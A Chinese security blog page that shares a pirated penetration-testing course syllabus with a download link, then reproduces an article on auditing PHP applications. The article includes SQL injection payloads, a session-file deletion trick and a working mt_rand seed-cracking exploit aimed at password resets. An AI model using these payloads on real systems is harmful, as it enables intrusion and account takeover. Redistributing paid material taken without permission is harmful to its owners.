某论坛的VIP板块资源的渗透教程www.mrxn.net分享--小迪实地渗透培训第六期-全套高清 资源分享

01.png

首先声明:是因为我兄弟说需要看这个视频,问我看看能不能搞下来.于是....很容易就搞到手了....大致内容如下:

02.png

基础补习:
环境搭建篇(2天)
虚拟机安装
安装win2003,winxp,kali等操作系统
安装VMware
安装必要工具和插件
学习使用虚拟机快照,网络配置,线程设置等
脚本编程篇(4天)
1.html语言基础补习(表单,跳转,处理)                                                                                       
2.asp,php脚本编程基础补习(注释符,接受函数,编写规则,处理函数)                                                            
3.sql语言基础补习(查询,插入,修改更新等)                                                       
4.实例自己写文件上传页面                                                      
5.实例自己写sql注入测试页面
6.实例自己写后门小马,大马  

1.搭建asp,php,aspx等环境(软件包,集成包,IIS,apache,tomcat等环境)                                                               
2.了解常见的搭建组合(asp+access,asp+mssql等)                                       
3.学习常见数据库和网站应用(iis6.0 7.0 apache等)                                       
4.分析数据库和网站信息传递过程,了解web服务流程(sql数据和网站调用)                    
5.HTTP数据包分析(请求行,状态行,相应码等)  

1.实例sql注入原理分析
2.实例手工注入asp+access全过程                                                              
3.实例手工注入asp+mssql全过程                                                               
4.实例工具注入(啊D,明小子,穿山甲,sqlmap)                                            
5.实例php+mysql5注入(密码猜解)                              
6.实例php+mysql5注入(文件读取)                                                                     
7.实例php+mysql5注入(文件导出)                                                            
8.网站路径查找(爆路径,遗留文件等)                                                   
9.实例php+mysql5.0以下注入入侵思路                                                      
10.实例jsp+orcle注入(手工+工具)                                                               
11.实例JAVA,strust等漏洞利用                                                                                    
12.实例其他数据库注入(postsql,db2等)                                                   
13.实例cookie注入 post注入                                                               
14.代码审计注入漏洞产生原理                                                      
15.access偏移注入                                                                  
16.access跨库注入                                                                       
17.xml实例注入原理和攻击演示                                                            
18.宽字节(搜索)注入                                                                     
19.xpath注入                                                                                   
20.盲注产生和利用                                                                        
21.数字,字符,搜索注入                                                               
22.关于扫描器注入利用                                                                        
22.绕过防注入继续注入(waf拦截,关键字拦截,函数拦截等)                                 
23.其他类似复杂注入问题

1.上传漏洞解析漏洞(iis,apache,uginx等)                                             
2.上传漏洞一(filepath漏洞)
3.上传漏洞二(%00截断漏洞)
4.上传漏洞三(filetype漏洞)

5.上传漏洞四(文件头,文件类型漏洞)                                                     
6.实例文件头和文件完整性上传漏洞                                                         
7.代码审计上传漏洞产生原理                                                                 
8.实例编辑器漏洞eweb一般流程                                                                     
9.实例编辑器漏洞eweb密码破解不出的突破                                                           
10.实例编辑器漏洞eweb本地构造                                                                                                        
11.实例编辑器漏洞eweb目录遍历漏洞                                                           
12.实例编辑器漏洞fck一般流程                                                                                                        
13.实例编辑器漏洞fck突破“.”变“_”                                                           
14.实例编辑器漏洞fck_exp漏洞利用
15.其他编辑器综合利用
1.学习反射型xss,存储型xss,demo等                                                                                                                              
2.实例如何利用各类xss                                                                                                                              
3.实例xss漏洞盗取cookie                                                                                                                              
4.实例xss漏洞post表单(表单劫持,网站引流,各类xss作弊网赚等)                                                                    
5.实例xss黑吃黑webshell箱子(单页面xss入侵思路,网赚xss订单偷取等)                                                           
6.xss实例中的限制和绕过(字符限制,长度限制,编码绕过,其他函数等)                                                                 
7.csrf+xss攻击演示和利用                                                                 
8.xss+msf实例演示劫持个人pc                                                                 
9.xss专业神器工具介绍和使用(xsser,beff)                                                   
10.各类xss扫描工具介绍和利用                                                           
11.代码审计中的xss漏洞挖掘修复
1.实例演示文件包含(远程包含,本地包含原理分析)                                       
2.关于命令执行漏洞(代码函数分析)                                                                                                        
3.实例本地,远程文件包含获取webshell                                                   
4.实例命令执行获取权限                                                                                                        
5.文件包含,命令执行隐藏后门利用                                                               
6.dedecms,thinkphp,phpcms等cms程序类似漏洞分析和利用                                       
7.变量覆盖,变量喂养漏洞分析利用(dedecms演示)                                          
8.关于相关漏洞函数功能分析
1.常见网站cms判断和识别(whatweb等工具使用)                                                                                                                           
2.常见网站后台查找(学习短文件漏洞,目录爬行,目录扫描,谷歌黑客等)                                                                                                                                 
3.常见网站漏洞查找(各大漏洞网站介绍,各种漏洞影响说明)                                                                                                                        
4.常见大型网站渗透思路(端口,分站,报错等)
1.实例其他web安全漏洞(http注入,文件头攻击,Location-Spoofing,下载漏洞等)                                                            
2.实例后门检测和分析篇(长期保持程序,webshell变异,内核后门,后门伪装隐藏)                                                            
3.实例搭建webshell箱子,制作菜刀后门                                             
4.数据脱裤,源码打包等方法解析(工具,脚本分析)
1.实例表单破解(后台密码,webshell密码等)                                                                                             
2.端口爆破(x-scan,hscan等)                                                                                                         
3.端口入侵(mssql,mysql,phpmyadmin,ftp等)
4.服务提权(ftp提权,mssql提权等)
1.cdn 寻找真实ip演示                                                                                                                 
2.web 安全常见的加解密方式                                                                                                            
3.编码中的base64注入演示                                                                                                               
4.过防护一句话木马分析                                                              
5.windows工具:sqlmap,wvs,burpsuite,appscan等工具使用和问题(如何利用不认识的漏洞报告,各个扫描器优缺点)
1.后台拿shell(上)_数据库备份,文件格式修改,插入一句话
2.后台拿shell(中)_抓包上传,模板修改,sql执行,cms突破拿shell等                           
3.后台拿shell(下)_ecshop,dedecms,dz,phpcms,WordPress等cms拿shell等
1.实例渗透windows,linux命令学习                                                                                                     
2.实例可读可写目录查找脚本篇                                                                                                           
3.系统脚本权限设置和脚本程序应用日志                                                                     
4.关于提权日志清除,日志恢复                                                                     
5.实例溢出漏洞提权(解决cmd无法执行,解决目录不可写,解决权限问题等)                                                                  
6.实例数据库提权(mysql_UDF提权,mysql_MOF提权,mysql_启动项提权,mssql_sa提权等)                                                      
7.实例lpk提权(DDOS+LPK提权)
9.星外提权(7i24,西部主机,freehost等)                                                                                             
10.linux溢出漏洞提权(漏洞寻找,编译exp,反弹shell等)                                                                                
11.rar,cacls,type命令在提权,渗透中的妙用)                                             
12.关于远控软件在提权中的利用                                                                  
13.内网环境下的提权(LCX转发,内网转发,端口映射等)                                    
14.提权中各类组件支持理解(ws组件,数据库组件,系统组件等)                                      
15.三类提权总结(windows,linux,虚拟星外主机等)                                          
16.如何寻找更多更全的提权exp
1.代码审计sql注入漏洞(接受值跟踪,接受方式判断,接受值处理)                                 
2.如何查找,如何修复sql注入漏洞                                                         
3.相关修复函数学习和理解
1.代码审计xss跨站漏洞(接受值跟踪,接受方式判断,接受值处理)                                 
2.如何查找,如何修复xss跨站漏洞                                                         
3.相关修复函数学习和理解
1.实例代码审计文件上传漏洞并修复(常规函数学习,安全函数,处理函数)                                 
2.如何查找,如何修复上传漏洞                                                                    
3.实例代码审计文件包含,命令执行,变量覆盖漏洞并修复(常规函数学习,安全函数解析)                  
4.如何查找,如何修复文件包含,命令执行,变量覆盖漏洞
代码审计实战:实例dedecms,phpweb,大米cms,aspcms,dz,phpcms等插件漏洞分析(学习挖洞思路和方法,学习大牛挖洞经验,审计工具具体使用)      
入门:BT5+KALI入门和进阶(测试环境搭建,基础命令学习,msf加载)                              
实验1.实例局域网dns欺骗攻击                                                                       
实验2.实例局域网arp欺骗攻击                                                                        
实验3.实例MSF加载webshell提权利用实验                                                   
实验4.实例端口一体化入侵流程
实验5:实例内网劫持配合网马劫持PC
实验6:实例beef+ettercap+msf到服务器
实验7:实例set社工+安卓木马控制安卓手机实验                                             
实验8:实例会话session劫持控制目标QQ空间,新浪微博,百度贴吧等                           
实验9:实例web安全工具讲解使用
kali下.实例windows平台内网渗透(弱口令破解,域环境渗透,hash入侵等)                             
kali下.安全注入工具sqlmap使用(数据猜解,sql执行,waf编码绕过,数据脱取等)
kali下.实例windows平台内网渗透(弱口令破解,域环境渗透,hash入侵等)                             
kali下.安全注入工具sqlmap使用(数据猜解,sql执行,waf编码绕过,数据脱取等)

话说.骚年们还需要那个论坛的VIP资源,开口哈,学习方面的.能帮忙尽量帮忙搞到.哈哈

下载地址:   http://pan.baidu.com/s/1gdwCOJx    提取码: [hide] ye5e [/hide]  

评论即可下载,当然也可以看一下这篇文章:  破解百度网盘私密分享密码-就是这么任性 可以暴力破解的百度网盘的!


admin 发布于  2015-8-1 20:30 

高级PHP应用程序漏洞审核技术 网络安全

前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们 :)

传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。

PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68% 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9
php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6 目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc(这个不是今天讨论的范围)

由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。

其他的因素与应用代码审计

很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。

扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

<?php //key.php?aaaa'aaa=1&bb'b=2  //print_R($_GET);   foreach ($_GET AS $key => $value) {         print $key."\n"; } ?>

上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

key.php?<script>alert(1);</script>=1&bbb=2

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

变量覆盖

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:

遍历初始化变量

请看如下代码:

<?php //var.php?a=fuck $a='hi'; foreach($_GET as $key => $value) {         $$key = $value; } print $a; ?>

很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分的代码:

$chs = ''; if($_POST && $charset != 'utf-8') {         $chs = new Chinese('UTF-8', $charset);         foreach($_POST as $key => $value) {                 $$key = $chs->Convert($value);         }         unset($chs);
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

parse_str()变量覆盖漏洞

//var.php?var=new $var = 'init';                     
parse_str($_SERVER['QUERY_STRING']); print $var;

该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:

//var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;

上面的代码通过提交$var来实现对$var1的覆盖。

漏洞审计策略(parse_str)
PHP版本要求:无
系统要求:无
审计策略:查找字符parse_str
漏洞审计策略(mb_parse_str)
PHP版本要求:php4<4.4.7 php5<5.2.2
系统要求:无
审计策略:查找字符mb_parse_str

import_request_variables()变量覆盖漏洞

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!';
漏洞审计策略(import_request_variables)
PHP版本要求:php4<4.4.1 php5<5.2.2
系统要求:无
审计策略:查找字符import_request_variables

PHP5 Globals

从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:

<? // register_globals =ON //foo.php?GLOBALS[foobar]=HELLO php echo $foobar; ?>

但是很多的程序没有考虑到这点,请看如下代码:

//为了安全取消全局变量 //var.php?GLOBALS[a]=aaaa&b=111 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];

如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行crsf攻击。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

magic_quotes_gpc与代码安全

什么是magic_quotes_gpc

当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。 :)

哪些地方没有魔术引号的保护

1) $_SERVER变量

PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?

漏洞审计策略($_SERVER变量)
PHP版本要求:无
系统要求:无
审计策略:查找字符_SERVER

2) getenv()得到的变量(使用类似$_SERVER变量)

漏洞审计策略(getenv())
PHP版本要求:无
系统要求:无
审计策略:查找字符getenv

3) $HTTP_RAW_POST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:

if ( !isset( $HTTP_RAW_POST_DATA ) ) {         $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } if ( isset($HTTP_RAW_POST_DATA) )         $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
漏洞审计策略(数据流)
PHP版本要求:无
系统要求:无
审计策略:查找字符HTTP_RAW_POST_DATA或者php://input

4) 数据库操作容易忘记'的地方如:in()/limit/order by/group by

如Discuz!<5.0的pm.php:

if(is_array($msgtobuddys)) {         $msgto = array_merge($msgtobuddys, array($msgtoid));                 ...... foreach($msgto as $uid) {         $uids .= $comma.$uid;         $comma = ','; } ...... $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
        LEFT JOIN {$tablepre}memberfields mf USING(uid)
        WHERE m.uid IN ($uids)");
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找数据库操作字符(select,update,insert等等)

变量的编码与解码

一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有:

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数:

base64_decode 对使用 MIME base64 编码的数据进行解码
base64_encode 使用 MIME base64 对数据进行编码
rawurldecode 对已编码的 URL 字符串进行解码
rawurlencode 按照 RFC 1738 对 URL 进行编码
urldecode 解码已编码的 URL 字符串
urlencode 编码 URL 字符串
... ...

另外一个 unserialize/serialize

3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:

SELECT * FROM article WHERE articleid='''
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找对应的编码函数

二次攻击

详细见附录[1]

1)数据库出来的变量没有进行过滤

2)数据库的转义符号:

  • mysql/oracle转义符号同样是\(我们提交'通过魔术引号变化为\',当我们update进入数据库时,通过转义变为')
  • mssql的转义字符为'(所以我们提交'通过魔术引号变化为\',mssql会把它当为一个字符串直接处理,所以魔术引号对于mssql的注射没有任何意义)

从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul?

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制:

[\-->\\,'-->\',"-->\",null-->\0]

这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:

1)得到原字符(',\,",null])

$order_sn=substr($_GET['order_sn'], 1); //提交                 ' //魔术引号处理         \' //substr               ' $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".    " shipping_time, shipping_id, invoice_no, user_id ".    " FROM " . $ecs->table('order_info').    " WHERE order_sn = '$order_sn' LIMIT 1";

2)得到“\”字符

$order_sn=substr($_GET['order_sn'], 0,1); //提交                 ' //魔术引号处理         \' //substr               \     $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".    " shipping_time, shipping_id, invoice_no, user_id ".    " FROM " . $ecs->table('order_info').    " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";

提交内容:

?order_sn='&order_tn=%20and%201=1/* 

执行的SQL语句为:

SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and 
order_tn=' and 1=1/*'
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找字符串处理函数如substr或者通读代码

变量key与魔术引号

我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?

<?php //key.php?aaaa'aaa=1&bb'b=2  //print_R($_GET);   foreach ($_GET AS $key => $value)         {         print $key."\n";         } ?>

1)当magic_quotes_gpc = On时,在php5.24下测试显示:

aaaa\'aaa
bb\'b

从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:

<?php //key.php?aaaa'aaa[bb']=1  print_R($_GET); ?>

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) ) 

数组第一维变量的key不受魔术引号的影响。

漏洞审计策略
PHP版本要求:php4和php<5.2.1
系统要求:无
审计策略:通读代码

2)当magic_quotes_gpc = Off时,在php5.24下测试显示:

aaaa'aaa
bb'b

对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:

<?php //keyvul.php?aaa'aa=1' //magic_quotes_gpc = Off  if (!get_magic_quotes_gpc()) {  $_GET  = addslashes_array($_GET); } function addslashes_array($value) {         return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); } print_R($_GET); foreach ($_GET AS $key => $value) {         print $key; } ?>

以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体的值,但是没有处理变量本身的key,上面的代码显示结果如下:

Array (     [aaa'aa] => 1\'
)
aaa'aa
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

代码注射

PHP中可能导致代码注射的函数

很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可以执行代码如:

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:

<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
              '; usort($databases, create_function('$a, $b', $sort_function));
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)

变量函数与双引号

对于单引号和双引号的区别,很多程序员深有体会,示例代码:

echo "$a\n"; echo '$a\n';

我们再看如下代码:

//how to exp this code if($globals['bbc_email']){ $text = preg_replace(                 array("/\[email=(.*?)\](.*?)\[\/email\]/ies",                                 "/\[email\](.*?)\[\/email\]/ies"),                 array('check_email("$1", "$2")',                                 'check_email("$1", "$1")'), $text);

另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很容易被人注射变量函数。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

PHP自身函数漏洞及缺陷

PHP函数的溢出漏洞

大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录2)项目么,其中比较有名的要算是unserialize(),代码如下:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。

漏洞审计策略
PHP版本要求:对应fix的版本
系统要求:
审计策略:查找对应函数名

PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码:

unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); while($member=$db->fetch_array($query)){         $uids .= $member['uid'].','; } $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; ........ $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
漏洞审计策略
PHP版本要求:php4<4.3 php5<5.14
系统要求:无
审计策略:查找unset

session_destroy()删除文件漏洞

测试PHP版本:5.1.2 这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下:

<?php //val.php    session_save_path('./'); session_start(); if($_GET['del']) {         session_unset();         session_destroy(); }else{         $_SESSION['hei']=1;         echo(session_id());         print_r($_SESSION); } ?>

当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink('sess_/../1.php')这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。

漏洞审计策略
PHP版本要求:具体不详
系统要求:无
审计策略:查找session_destroy

随机函数

1) rand() VS mt_rand()

<?php //on windows print mt_getrandmax(); //2147483647 print getrandmax();// 32767 ?>

可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。

<?php
$a= md5(rand()); for($i=0;$i<=32767;$i++){   if(md5($i) ==$a ) {    print $i."-->ok!!<br>";exit;    }else { print $i."<br>";} } ?>

当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找rand

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5) mt_srand -- 播下一个更好的随机数发生器种子 说明 void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子 1. mt_srand() 范例

<?php // seed with microseconds function make_seed() {     list($usec, $sec) = explode(' ', microtime());     return (float) $sec + ((float) $usec * 100000); } mt_srand(make_seed()); $randval = mt_rand(); ?> 

注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码如下:

<?php ///////////////// //>php rand.php //828682 //828682 //////////////// ini_set("max_execution_time",0); $time=(double) microtime()* 1000000; print $time."\n"; mt_srand ($time); $search_id = mt_rand(); $seed = search_seed($search_id); print $seed; function search_seed($rand_num) { $max = 1000000; for($seed=0;$seed<=$max;$seed++){         mt_srand($seed);         $key = mt_rand();         if($key==$rand_num) return $seed; } return false; } ?>

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图:

seed-A
mt_rand-A-1
mt_rand-A-2
mt_rand-A-3
seed-B
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3

对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:

<?php
mt_srand(4); $a = mt_rand(); mt_srand(5); $b = mt_rand(); print $a."\n".$b; ?>

通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:

<?php //base on http://www.milw0rm.com/exploits/6421  //test on php 5.2.0 define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1 $key = wp_generate_password(20, false); echo $key."\n"; $seed = getseed($key); print $seed."\n"; mt_srand($seed); $pass = wp_generate_password(20, false); echo $pass."\n";        
        function wp_generate_password($length = 12, $special_chars = true) {         $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';         if ( $special_chars )                 $chars .= '!@#$%^&*()';         $password = '';         for ( $i = 0; $i < $length; $i++ )                 $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);         return $password; } function getseed($resetkey) {         $max = pow(2,(32-BUGGY));         for($x=0;$x<=$max;$x++) {                 $seed = BUGGY ? ($x << 1) + 1 : $x;                 mt_srand($seed);                 $testkey = wp_generate_password(20,false);                 if($testkey==$resetkey) { echo "o\n"; return $seed; }                 if(!($x % 10000)) echo $x / 10000;         }         echo "\n";         return false; } ?>

运行结果如下:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr 0123456789101112131415161718192021222324252627282930313233343536373839404142434 445464748495051525354555657585960616263646566676869 7071727374757677787980818283848586878889909192939495969798991001011021031041051 061071081091101111121131141151161171181191201211221 2312412512612712812913013113213313413513613713813914014114214314414514614714814 915015115215315415515615715815916016116216316416516 6167168169170171172173174175176177178179180181182183184185186187188189190191192 193194195196197198199200201202203204205206207208209 2102112122132142152162172182192202212222232242252262272282292302312322332342352 362372382392402412422432442452462472482492502512522 ..............01062110622106231062410625106261062710628106291063010631106321063 3o 70693 pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

<?php
mt_srand(42); echo mt_rand(); //php<=5.20 1387371436 //php>5.20 1354439493            ?>

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)

漏洞审计策略
PHP版本要求:php4 php5<5.2.6
系统要求:无
审计策略:查找mt_srand/mt_rand

特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:

截断

其中最有名的数大家都熟悉的null字符截断。

include截断
<?php 
include $_GET['action'].".php"; ?>

